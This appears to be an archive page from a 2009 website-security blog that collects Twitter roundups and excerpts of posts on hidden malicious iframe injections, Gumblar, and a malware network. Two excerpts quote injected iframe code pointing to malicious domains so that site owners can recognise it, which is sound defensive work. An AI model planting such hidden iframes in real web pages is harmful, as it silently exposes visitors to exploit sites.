Selected short messages and links you might have missed if you don’t follow me on Twitter.
Nov 2, 2009
Mal/Iframe-N: Another winning infection? – Sophos on malicious iframes (with references to my blog posts)
Nov 3, 2009
[link:cantonbecker.com] How to search for ‘backdoors’ in a hacked WordPress site
Nov 5, 2009
Story about Gumblar breaking WordPress on The New York Times site – based on my latest blogpost. Thanks @bobmcmillan
[link:h-online.com] new security patches for Java and Shockwave Player
Nov 6, 2009
SCMagazine mentions my blog in their article “Gumblar site infections return, WordPress among affected“
Found an AdSense ad that offers to download pirated version of Avast Pro (probably infected). Reported it to Google. (lifeplain .com is a scam)
If you want more real-time experience, you can follow @unmaskparasites on Twitter.
Similar posts:
Selected short messages and links you might have missed if you don’t follow me on Twitter.
Oct 26, 2009
[link:Sophos blog] New type of hidden malicious iframes
Oct 28, 2009
[milestone] 50 blog posts on http://blog.UnmaskParasites.com (in less than a year)
Security updates are available for Firefox 3/3.5 and Opera 10. Make sure to update your browser ASAP
Oct 30, 2009
I published a “beta” of my Practical Guide to Dealing With Google’s Malware Warnings – need your feedback. Thanks
[link:ottodestruct.com] How to find a backdoor in a hacked WordPress – great article
Oliver Fisher (Google Anti-Malware) on Google’s automates malware scanners and warnings
If you want more real-time experience, you can follow @unmaskparasites on Twitter.
Similar posts:
Yesterday, when I wrote about hidden iframes I forgot to mention one interesting side effect of the new iframes with “onload” scripts – they eat web pages.
Actually, those iframes don’t eat web pages themselves – it is done by buggy software that hackers use to inject hidden iframes into legitimate web pages.
Here’s the story »»
Injecting hidden malicious iframes into compromised legitimate websites is one of the most popular types of malware attacks. Invisible iframes allow to silently load exploits from “bad” sites while unsuspecting web surfers browsing visible content of infected websites.
Iframes are rectangular elements of webpages where you can load other web pages either from the same site or from some third party site (in other words: webpage inside a webpage). There are many legitimate uses of iframes. The most common is ad blocks (e.g. Google displays AdSense in iframes)
It is said that iframes are rectangular elements and they occupy some space on web pages. So how do hackers make them invisible?
Continue »»
In my latest post about the iframe attack that used free domains from dynamic DNS hosting providers that pointed to a network of compromised dedicated server, I asked readers for any additional information they know about this attack. A few day later I received this email:
Hi there.
Since this may I am watching this network (I named it “quicksilver“) after two PCs/users ran into cn-8080-iframe-modified websites. Using only “white hat” instruments (dig, whois, malzilla, VMWare, google and my brain ;) ) I was able to collect information about the basic frame of this network.
It is not a simple botnet – it combines three networks with different functions to form a “malware superstructure”.
Nearly everything in this network is constantly moving (thus the name) and uses compromised machines acting as proxies or slaves. The machines of the real black hats are movable themselves – the older “gumblar” network (which i think is a precursor to quicksilver) used an ukrainian c&c-server with a different ip address.
At the end of the email, the reader said that he had a chart of this network and asked me if I wanted to take a look at it. The information looked interesting so I asked if he would like to publish it on my blog and got his permission:
you have my explicit permission to publish everything I send you – anonymously. Although I have a name and a title, the only thing relevant is to unmask those networks.
So here it is. I’ve published the story as is. I just added some formatting and converted the chart to GIF format to avoid PDF security concerns.
Continue »»
It’s always interesting to watch how malware attacks evolve over time.
Since this spring, when I started to distinguish it from other attacks, this hidden iframe injection attack has always been among “leaders”.
This post is a reminder that .cn iframe attacks are still among leaders.
The URLs of malicious iframes change over the time. Hackers introduce new suffixes (campaigns?) like : mozila, banner, cocacola, pepsi, add more and more domain names.
Since the pepsi campaign they started using port 8080 in the URLs.
The currently form of the malicious code looks like this
< iframe src="http:// namegamestore .cn:8080/index.php" width=118 height=195 style="visibility: hidden"></iframe>
It is usually injected at the bottom of index (home) pages.
Continue »»
This is a quick post about yet another type of hidden iframes injected into legitimate web pages.
The HTML code may look like this:
<iframe src="http:// xtrarobotz .com/?click=BC0230" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>
Domain names may vary, and the number of different iframes injected into a single web page may be different. The distinguishing feature of this exploit is the “?click=<hex_number>” part of the URL, where <hex_number> is some hexadecimal number.
Continue »»